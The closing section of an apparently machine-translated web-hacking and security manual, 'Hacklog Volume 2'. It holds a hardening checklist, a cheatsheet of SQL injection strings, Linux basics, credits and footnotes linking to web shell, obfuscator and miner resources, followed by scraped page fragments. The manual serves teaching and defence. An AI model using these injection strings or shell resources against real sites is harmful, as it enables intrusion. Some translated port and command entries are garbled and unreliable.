We will understand that the framework was loaded through the command line prefix:
galileo #>
The operation is very reminiscent of Metasploit Framework: to understand its basic use it is
advisable to refer to the official online manual 191 .
14. FIN
If you have come this far it means that you have learned everything you needed to start
learning about the wonderful world of IT Security on the Web. But that's not all!
There are still many, many things we would like to talk to you about, unfortunately this is not
the place nor probably the time; if you intend to continue researching in this field we strongly
recommend that you have at least one programming language (PHP will do just fine) but also
other emerging and non-emerging languages (Golang, Elixir, Python, ASP.NET and so on) on
the server side ; undoubtedly a good knowledge of the client side (HTML, CSS, Javascript…)
will allow you to learn lesser known techniques not seen in this document.
Also knowing how to use any Operating System (Linux in primis but also Windows and Mac
OS) will allow you to scale the "limits" that you often face, especially when securing a web
infrastructure.
The world of IT Security is constantly evolving and goes hand in hand with that of Information
Technology in general, which evolves daily often leaving gaps in various aspects: being fully
informed about any technology (even the one we ignore or consider boring ) could make a
difference and give you the right lead to be the new Mitnick of the 21st century!
Thank you for giving me your attention, I hope to see you again in the next volume of the
Hacklog!
Stefano Novelli
15. SECURITY CHECK-LIST
In this chapter you will be given the recommended security checklists to perform a good
security configuration on most of the machines that will be on the network and that will host
web servers.
We recommend that you make a copy of each of them and check them when you need them:
for each item, check the ☐ marked for each row with an X and, if necessary, specify any notes
in the row on the right.
Keep in mind that this is only a basic model, not a standard and specific format: over time, you
may want to create your checklist based on what you need to do and what you need to
configure.
Analysis Note
Web Server
☐ The Operating System is up to date The Web
☐ Server is up to date
☐ The interpreters (PHP, Perl, Python etc ...) are up to date
☐ The frameworks are up to date The
☐ extensions are up to date
☐ The server does not allow banner grabbing
☐ The server does not allow directory listing on one or more critical
paths
☐ The infrastructure does not allow to resolve the IP of the

machine but only of the reverse proxy
☐ All unnecessary services are disabled
☐ All unnecessary users and groups have been removed
☐ The server successfully logs all requests and resolves all

IP addresses
☐ Unused web server extensions have been disabled
☐ The demo contents of the web servers that could allow

the profiling of the Web Server version are disabled
☐ The error status pages (404) are

customized to avoid the determination of the web server
☐ The HTTP user used by the web server has permissions limited
to the operation of the web app only
☐ The security modules of the Web Server (ModSecurity etc

...) have been correctly configured and active
☐ The Server has been tested with a WASS and does not detect
visible vulnerabilities
☐ If an IDS was implemented, it was manually

verified
Database
☐ The DBMS is up to date
☐ The software is run by a user with limited

privileges
☐ Demo database and users have been removed
☐ Accounts have no default password
Web App
☐ If a CMS has been updated, as well as plugins and themes
☐ Passwords are complex and the web form limits

incorrect logins
☐ The source code (in HTML) does not contain information

explaining the web infrastructure
☐ Test files are removed prior to production
☐ The web login has an effective anti-bot system (such as

CAPTCHA) and requires email validation
☐ The application was tested with a WASS and,

optionally, a pentesting session
16. CRIBSHEET HACKING
Character Description
Programming
'" Superscript or double superscript, define strings in PHP, Javascript and SQL. They also indicate values in HTML.
; Command separator, used in PHP, Javascript, CSS and SQL Opens a tag in
< HTML
> Closes a tag in HTML
? Determine the values in a query-string (GET method) It is usually
= placed between variable and value
<? php Opens a PHP tag
?> Closes a PHP tag
<script> Opens a clientscript tag (usually Javascript) Closes a
</script> clientscript tag (usually Javascript) Separate values in
+ Javascript and query-string
. Allows access to folders and subfolders (in combination with /) Allows access to
/ folders and subfolders (in combination with.) Used in PHP to indicate a variable
Character Description
SQL Injection
' Apostrophe, used to check for SQLi vulnerabilities
-- Single line comment, allows you to ignore any subsequent characters in SQL
% Wildcard, allows you to check for multiple characters without knowing their content
OR 1 = 1 Create the true condition on the SQL. It is the basis of an SQLi attack.
OR '1' = '1 As before, used on queries which however require a string value. SQL function to
UNION ALL SELECT fetch values from other tables
Door Service (common)

21 FTP, service used for file transfer
22 SSH, a service used for remote management of a Telnet system, such as
23 SSH but less secure
80 Standard port for HTTP communication Port
81 alternative to 80
88 Alternative port to 88
443 Standard port for HTTPS communication
8000 Port alternative to 80, often used as a web cache
8001 Alternative port to 80, often used as web server manager Alternative port to
8888 80
17. CHEATSHEET COMMANDS
LINUX
To know the files and folders in the directory where we are:
$ ls
To access a folder (where {foldername} will be the name of the folder we want to access):
$ cd {foldername}
To go back one folder:

$ cd ..
To copy a file:
$ cp {filename} {newfilename}
To move or rename a file:

$ mv {filename} {newfilename}
To delete a file:
$ rm {filename}
To copy, move or delete an entire folder we will use the -r parameter. In case of cancellation,
the command will be:
$ rm -r {foldername}
To create a folder:
$ mkdir {foldername}
To use a text editor (we will use the combination of CTRL + X to close, S key to confirm and
ENTER to save the file; if the file does not exist, a new one will be created):
$ nano {filename}
These and other programs are often documented. To access their documentation you could
use the --help parameter:
$ ls - help
If there is a conman integration we can also test the command:
$ man ls
In the two previous examples we will get the documentation related to ls, the program that allows
you to list files, directories, permissions and so on.
We may want to decide to install a program within our Debian (or derivative); in this case the
command to use is:
$ apt install {programname}
Or decide to remove it:

$ apt remove {programname}
The apt command is also able to update the repositories of our distribution:
$ apt update
And also to update all programs:

$ apt upgrade
Updating both repositories and programs is an operation often performed simultaneously,

which is why we can concatenate the two programs with the && operator:
$ apt update && apt upgrade
The apt command, however, should be run as root; to do this we can prepend the command
sudo:
$ sudo apt update
Or log in as root (if you know the root user password):
$ on
Or elevate our user to sudo (if present in the sudoers list):

$ sudo -s
Although not officially supported by this book, it is possible that much of what has been
described also works for Operating Systems based on different distributions; one of the biggest
differences we could find is the installation of packages, otherwise (like the commands
described above) we shouldn't have any problems.
On Red Hat based Operating Systems (Fedora, CentOS etc ...) the command to install a
program is:
$ yum install {programname}
While for Arch Linux based Operating Systems the command to install a program is:
$ pacman -S [programname]
Most non-pre-installed programs will be available on GitHub or GitLab. To download the

source the command is:
$ git clone [url.git]
THANKS
Texts, Design and Execution by
Stefano Novelli
Review by
Marco Silvestri
Distributed and promoted by
inforge.net - your hacks community

Sources & Resources
- wikipedia.it for the huge amount of information, especially on the technical parts
- https://www.owasp.org for the list of the most popular vulnerabilities and their documentation
- https://www.acunetix.com for the source codes of the web shells from which we collected the
studies
- https://sucuri.net for research on the most popular vulnerabilities
- https: //www.cloudflare.com for the tests carried out
- freepik for vector graphics
- Source Sans Pro, Roboto Slab, Oxygen is Roboto Mono are the fonts used
Special Thanks
The success of this project was also possible thanks to some of the most important portals in
the IT sector that made their media visibility available. Without them Hacklog: Volume 2 would
not have reached this important milestone. Thanks again.
Donors
The Hacklog: Volume 2 project is made possible thanks to the contribution made by the people present
here, from the Indiegogo campaign of the Hacklog.
Diamond donors
Marco De Tomasi Andrea Sorrentino Nicola Canelli
Lorenzo Lucchesi Ignazio Filice Ludovico Saccoman
Salvatore Catogno Fabio Dondi Davide Ruggiero
Franco Caorlini Bonaventura Lavorante Edgardo Manzuoli
teo.miscia Niccolò C. Luca Tartaglia
Antonio Silvestre Alessandro Di Franco Lorenzo Lucchesi

(CCsacuragy)
SerHack Eugeniu Duca Mattia Airoldi
Andrea Guglielmo
Platinum donors
Mauro Corda Ardit Goxhaj Fabrizio Rosati
Marco Stalteri Massimo Scanu Gianni Andreose
Matteo Pica Ilario Rizzi Frank Goodyear
vincenzo paolillo Roberto Dedoro claudio turello
ROBERTO TALAMONTI Lorenzo Pettenuzzo Domenico Centrone
Eugeniu Duca Ste Ste Giuseppe Petroso

Gold donors
Marius Andriescu Alfiero Ventura Francesco Brancatisano
eugenio giusti Marco Moraschi Lorenzo Nicastro
Max Böwer Emanuele Dalla Lana Federico Filì
Antonio Stumpo Taddei Alessandro Ivano Cunegatti
Francesco Mura Tiziano Pizzo Giuseppe Miragliotta
Zeneli Lidio Alessio Di Santo Francesco D'Auria
Silver donors
Antonio Petrillo cal calbalacabra Luca run out
Alessio Bassola Alessandro Di Marco Alessandro Capelli
Pëtr Tsar Luca Gatta Samuel Martins
Aley Marco Rosa Alessandro Vasturzo
Eugenio Giustolisi antonio70.ricci Gianmarco Belmonte
Franco Villella Eduard Brahas Federico Germinario
Bronze donors
Antonino Restifo Gianpaolo Busillo Aurelio Greco
Simone Massimi Gabriele Peluzzi Francesco Leoniello
PanSi21 Fransisco Moles Ivano Cunegatti Beloved Christmas
Federico Tensi Carmen De Gregorio Filippo Mandrini
Matteo Becatti Simone Greco Matteo luzi
Davide Conte Valerio Valletta Alessandro Riva

1 With Lamer software we refer to programs created with the aim of allowing computer damage without the user
being able to understand what he is doing.
2 The level will be present only in the LAB with DVWA, the test environment that we will use for the attack tests on web
applications
3 The term "Payload" will be used as a convention for explaining the follow-up of the attack, not necessarily as an
actual payload. The explanation on Exploit, Payload and Shell in chapter 1.6.
4 Technologies designed to simplify communication between various applications. In the universe of apps for the
mobile market, they are used to give the perception that the user is using something installed on the device.
5 Term indicating the action of changing the home page of a site ( deface) with the aim of deriding or defacing the image of the
owners of the aforementioned portal.
6 Software programmed to perform automated operations: In this example, a bot can scan the network for a vulnerable
portal, then infect it.
7 Practice which consists in defrauding a user, deceiving the victim by convincing him to provide financial data or access
codes.
8 Denial of Service: Denial of service attacks, used to interrupt the communications of other devices or infrastructures. In
the distributed form (Distributed Denial of Service), attacks come from multiple sources, often victims of previous cyber
attacks.
9 https://en.wikipedia.org/wiki/White-box_testing
10 https://en.wikipedia.org/wiki/Black-box_testing
11 Increased permissions in use, Chapter 12.7
12 Release of technical information on the vulnerability
13 https://www.opendns.com/setupguide/#familyshield
14 https://developers.google.com/speed/public-dns/
15 https://www.cloudflare.com/learning/dns/what-is-1.1.1.1/
16 https://www.virtualbox.org/
17 File format that contains a scanned disc
18 https://www.parrotsec.org/download-security.php
19 Command Line, or from Terminal
20 Set of rules that allow the exchange of data between multiple devices.
21 Protocol from which HTTP inherits some transmission logic.
22 In computer networks, a port is a virtual tool that allows you to reserve one type of connection from the others, so as to
allow multiple connections at the same time. Each IP address can have a maximum of 65,535 ports.
23 Graphically return to video
24 Each Reverse Proxy Server provider can decide to offer (free or paid) or at least these features. The text only wants to
illustrate how the Reverse Proxy Servers can be applied in front of the resolution of an IP.
25 Tools, software or hardware, capable of identifying an attempted intrusion into a computer system.
26 Denial of service attacks, effective methods to saturate the resources of a system causing it to hang.
27 Internet Service Provider, more commonly the "Internet Provider"
28 The results of a DNS resolution
29 The code that makes up a program.

30 Established by the W3C, the consortium that defines the standards of the WorldWide Web.
31 This doesn't make any sense, so opening it won't give any results. It's an example, take it as such
32 You can find a more complete list at:
https://it.wikipedia.org/wiki/Protocollo_di_rete
33
34 http://letsencrypt.org
35
36 Web spaces prepared for the distribution of web applications.
37
38 More recently, the NoSQL type CMS has increased; thanks to the introduction of ever faster memories and to the
few needs that require the management of these portals (see relationships), the use of CMS that do not depend on
DBMS is preferred.
39 More info on www.hacklog.net
40 https://github.com/PHPIDS/PHPIDS
41 Neologism which refers to when a website has been loaded within a hosting.
42 42 An outgoing TCP connection on port 43 is required.
43 These provisions are established by ICANN, the international domain management body.
44 Protocol designed to verify the operation of a computer device on the network.
45 MX, acronym for Mail eXchange

46 Vulnerability caused by a user's incompetence or negligence
47 One of the best known Reverse Proxies in circulation
48 In computer jargon, vulnerability disclosure is referred to as the disclosure of unknown vulnerabilities.
49 Common image extensions, their compatibility will still depend on the portal you want to test
50 https://en.wikipedia.org/wiki/Iptables
51 An SSH Tunnel allows traffic to be routed within a server
52 https://www.inforge.net/forum/forums/liste-proxy.1118/
53 For example https://www.ip2location.com/blockvisitorsbycountry.aspx
54 https://github.com/mitchellkrogza/apache-ultimate-bad-bot-blocker
55 https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker
56 https://modsecurity.org
57 https://laravel.com
58 https://symfony.com
59 https://www.codeigniter.com
60 https://cakephp.org
61 https://cakephp.org
62 Actually the mode is "zero I / O", also used for port scanning
63 https://www.offensive-security.com/metasploit-unleashed/port-scanning/#Port_Scanning
64 If you want to have a complete list of common ports visit the page:
https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
https://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting
66 https://nmap.org/man/it/man-os-detection.html
67 https://www.snort.org
68 https://suricata-ids.org
69 A great article here: http://www.hackingarticles.in/detect-nmap-scan-using-snort/
70 Optimized for search engines; in this case, the URL may contain keywords in place of the file path.
71 More information in chapter 4.6.2.2
72 https://brew.sh/
73 https://github.com/rezasp/joomscan
74 https://github.com/drego85/JoomlaScan
75 https://github.com/immunIT/drupwn
76 https://it.m.wikipedia.org/wiki/OSINT
77 http://web.archive.org
78 The operator is used in computer science in different contexts; in the most common cases, it defines which law to apply to
one or more values (operands) in order to generate a result.
79 The list presented is only useful for a brief training, you will find the entire list on
https://it.wikipedia.org/wiki/Comandi_di_Google
80 In HTML, the specified keyword will be searched within the <title> tag
81 In HTML, the specified keyword will be searched within the <body> tag
82 Further information on https://support.google.com/websearch/answer/2466433?hl=it
83 The exact match function is one of the most useful that we find in Google: it is often used to know if our text is copied
by others or to filter the search for a telephone number by excluding possible combinations with other generated
numbers.
84 Google is also able to accept the pipe symbol (|) instead of the OR. The example in this case would be: "hacklog" |
"inforge"
85 Credits: https://www.exploit-db.com/ghdb/4589/
86 More information on the website (English): https://help.shodan.io/the-basics/what-is-shodan
87 More in chapter 4.4.3
88 https://it.wikipedia.org/wiki/HTML5#News
89 89 Info and costs at https://www.paterva.com/web7/buy/maltego-clients.php#1
90 90 Paterva, https://www.paterva.com/web7/community/community.php
91 Collect information from the network
ninety two https://github.com/darryllane/Bluto
93 All-In-One, "all in one"

94 Following a cyber attack, the dump is a copy of a database on the hacked service.
95 https://en.m.wikipedia.org/wiki/Typosquatting
96 More information on
http://www.nic.it/sites/default/files/docs/RISOLUZIONE%20DELLE%20DISPUTE%20-% 20Linee%
20guida.pdf
97 A character encoding system that converts Unicode symbols to ASCII
98 https://github.com/elceef/dnstwist
99 https://it.wikipedia.org/wiki/Distanza_di_Levenshtein
100 From version 5.5, bcrypt-based hashing takes over, more secure than MD5
101 In jargon, database dump, or more precisely user dump
102 Currently the most secure cryptographic protocol is TLS (HTTP + TLS = HTTPS) which replaces SSL and therefore
makes this statement true. More information on

https://it.wikipedia.org/wiki/Transport_Layer_Security
103 Attack based on online listening, not covered in this volume
104 Surely you will find it in one of the online decrypter as we have generated it from one of the portals already presented and,
for obvious reasons, it will enter as a result in the respective Rainbow Tables.
105 https://en.wikipedia.org/wiki/Bcrypt
106 Coding system: https://it.wikipedia.org/wiki/Base64
107 Introduced in RFC 2069 (https://www.ietf.org/rfc/rfc2069.txt)

108 https://it.wikipedia.org/wiki/Digest_access_authentication
109 A database is defined as the container that contains the information, however not all CMSs really make use of
DBMSs. In several new generation CMS (for example Flat-File CMS like Grav) these are stored in simple files present in
the filesystem.
110 Development platform that allows you to lighten the programmer's work, providing debugging tools and libraries to
integrate functions in a short time
111 Development areas residing in controlled environments
112 Unencrypted password, therefore visible to anyone
113 Calculated with http://lastbit.com/pswcalc.asp
114 Personal evaluation carried out as a result of various past experiences in various web environments
115 Character set
116 Directly in the command line
117 Repository managed by https://github.com/danielmiessler/SecLists/tree/master/Passwords
118 A good place to start: https://snippets.aktagon.com/snippets/563-brute-force-
authentication-protection-with-modsecurity
119 We will already assume that the user is able to configure Burp Suite on their browser: if this is not the case,
please read chapter 2.6.
120 https://support.portswigger.net/customer/portal/questions/16696183-intruder-recursive- grep
121 Further information on the page
https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks
122 https://it.wikipedia.org/wiki/Riconoscimento_ottico_dei_caratteri
123 https://www.google.com/recaptcha/
124 https://authy.com/
125 https://freeotp.github.io/
126 https://support.google.com/accounts/answer/1066447
127 https://github.com/eastee/rebreakcaptcha
128 https://github.com/karthikb351/CaptchaParser
129 https://github.com/ZYSzys/awesome-captcha
130 Text recognition system based on algorithms that convert an image into text
131 With this we certainly do not want to encourage the use of Pastebin (and similar services) to host payloads;
furthermore, we believe that hosting a payload on Pastebin is just as dangerous as loading it on any other host. Its use
is therefore demonstrated for test purposes only.
132 Original author: HD7exploit
133 HTML code that allows you to include a web page within another web page
134 In the latest "Top 10 OWASP" report it ranks 7th among the most popular web vulnerabilities
135 Source: https://www.owasp.org/index.php/DOM_Based_XSS
136 Protocol that allows you to remotely connect to a machine using the CLI, command line
137 http://www.editthiscookie.com
138 https://addons.mozilla.org/it/firefox/addon/cookies-manager-plus/
139 http://php.net/manual/en/function.htmlspecialchars.php
140 Very popular Javascript library in website development
141 http://php.net/manual/en/function.htmlspecialchars.php
142 The "signature" that each browser leaves the server with each HTTP request
143 The Blind attack does not allow the user to see the results of an action, although it is actually performed on the web
server. You will find a better explanation of the "Blind" variant on SQL Injection attacks. The same attack theory will
therefore also apply to Command Execution.
144 In jargon, the backup of a database
145 https://www.w3schools.com/sql/sql_union.asp
146 Finding the vulnerability
147 https://www.w3schools.com/sql/default.asp
148 http://php.net/manual/en/intro.pdo.php
149 https://www.w3schools.com/php/php_mysql_prepared_statements.asp
150 The type and version of the DBMS in use
151 http://php.net/manual/en/wrappers.php
152 Activators, systems that activate a particular condition
153 https://github.com/hvqzao/liffy
154 If you are interested in learning more, visit the official website https://www.owasp.org/index.php/ZAP
155 Always keep an eye on the user you are using! If you are root the image will be in / root, otherwise in / home /
username
156 EXIF Data is used to contain additional information about images, such as GPS coordinates, camera model, and so
on. In our case we will use it to inject PHP code.
157 Tool that allows you to control a web server following a cyber attack
158 You will find a list in chapter 12.2
159 https://www.w3schools.com/php/php_file_upload.asp
160 Part of the statistical data and summary information are related to the Phishing Activity Trends Report (PATR) 4th
Quarter 2017, published on 25/05/18. About

http://docs.apwg.org/reports/apwg_trends_report_q4_2017.pdf
161 https://www.knowbe4.com/spear-phishing/
162 Hacklog Volume 1: Anonymity deals with anonymity techniques aimed at studying the obscuring of the
identity of a cyber-criminal. Info on www.hacklog.net
163 https://github.com/nanopony/apache-scalp, fork of
https://code.google.com/archive/p/apache-scalp/
164 https://modsecurity.org
165 http://httpd.apache.org/docs/2.2/mod/mod_dumpio.html
166 https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter13/apache-scalp.txt
167 Command & Control, a management software from which the zombies of a botnet are controlled and cyber attacks
carried out
168 http://www.r57c99.com/ - https://webshell.co/ - https://r57.gen.tr/ - http://privshells.com/ - http://www.r00t.info/

169 https://github.com/epinna/weevely3
170 Techniques inspired by https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-
an-introduction-to-web-shells-part-3 /
171 http://php.net/manual/en/language.operators.execution.php
172 Test performed on https://www.base64decode.org
173 https://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php
174 http://www.phpprotect.info
175 https://github.com/naneau/php-obfuscator
176 https://www.gaijin.at/en/olsphpobfuscator.php
177 https://it.wikipedia.org/wiki/Sistema_numerico_esadecimale
178 https://www.rapidtables.com/convert/number/ascii-to-hex.html
179 https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter13/search- dangerous-functions.txt,
taken from Acunetix Blog
180 http://pubs.opengroup.org/onlinepubs/9699919799/utilities/find.html
181 https://jsecoin.com
182 https://coinhive.com
183 https://thepiratebay-proxylist.se
184 https://ilcorsaronero.info
185 https://coinhive.com/documentation/miner
186 https://github.com/deepwn/deepMiner/network/members
187 https://github.com/deepwn/deepMiner
188 https://github.com/deepwn/deepMiner/network/members
189 Result that we think is true and instead, for various reasons, it may not be. A common example of false positives are
"false" viruses, recognized by an Antivirus but which are then not harmful.
190 Great resource to draw from:
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
191 https://github.com/m4ll0k/Galileo/blob/master/README.md

Hacklog Volume 2 Web Hacking Manuale Sulla Sicurezza Informatica

Uploaded by

Copyright:

Available Formats

You might also like

Hacklog Volume 2 Web Hacking Manuale Sulla Sicurezza Informatica

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Hacklog Volume 2 Web Hacking Manuale Sulla Sicurezza Informatica

Uploaded by

Copyright:

Available Formats

Handbook on IT Security & Ethical Hacking

NOTES ON THE WORK

Yes, I am a criminal. My crime is curiosity. My crime is to judge people by what

Inspired by "The Conscience of a Hacker" by The Mentor January 8,

have already been hacked

and those who have yet to be.

To the souls of those

watching me from up there. May

your spirits finally find peace.

1.4.1 Software or Administrator's Fault?

Attack: Ping ARP and TCP

Attack: DNS History

4.3.3 Host file

7. Attacks on the Session

7.2 Session Prediction

7.3 Cross-Site Request Forgery

Defense: Stored XSS

Defense: SQL Injection

Defense: Remote File Inclusion

Payload: Upload + RCE = Reverse Shell Defense:

12.3 Remote Shell

Volume 1: Anonymity and the short document Installation Manual of

What is this volume about?

Will I really know how to "pierce" any web portal?

Who is this volume for?

What is the purpose of the Hacklog?

For these reasons in this book I have decided not to:

- Share attack techniques that are difficult to mitigate or unknown (0day)

- Demonstrate cyber attacks on companies or real people

- Illustrate “disposable” techniques and lamer software 1

What knowledge do I need?

What studies do you recommend to start to work in the IT Security

When does the next volume come out?

IF YOU DON'T KNOW ANYTHING ABOUT WORLD WIDE WEB AND IT

IF YOU ALREADY HAVE SOME WWW AND IT SECURITY

IF YOU ARE ALREADY A WWW AND IT SECURITY EXPERT

Here you will find programming code

Attack: " First name" Low / Medium / High 2

Payload: " First name"

Simulation Environment; Any tools used

Defence: " First name"

1.1 Is the Web ... Easy?

1) Drastically speed up development times

2) Provide more functionality in applications

We can therefore state that:

1.2 Man vs Machine

As we read this document we will see the importance of

1.3 Ethical (and non) ethical reasons for carrying out

indiscriminately any web portal (IT factor).

1.4 The Defense starts from the Attack

1.4.1 Software or Administrator's Fault?

1.5 Attack approaches

1.5.1 Vulnerability Assessment and Penetration Testing

With Vulnerability Assessment we mean a vulnerability assessment: it is the process in which

1.5.2 White, Gray and Black Box

The combination of both is identified in the industry as Gray Box.

1.5.2.1 WHITE-BOX TESTING

A White-Box type approach has the advantage of being:

Documented or provided by simplified test procedures Faster to run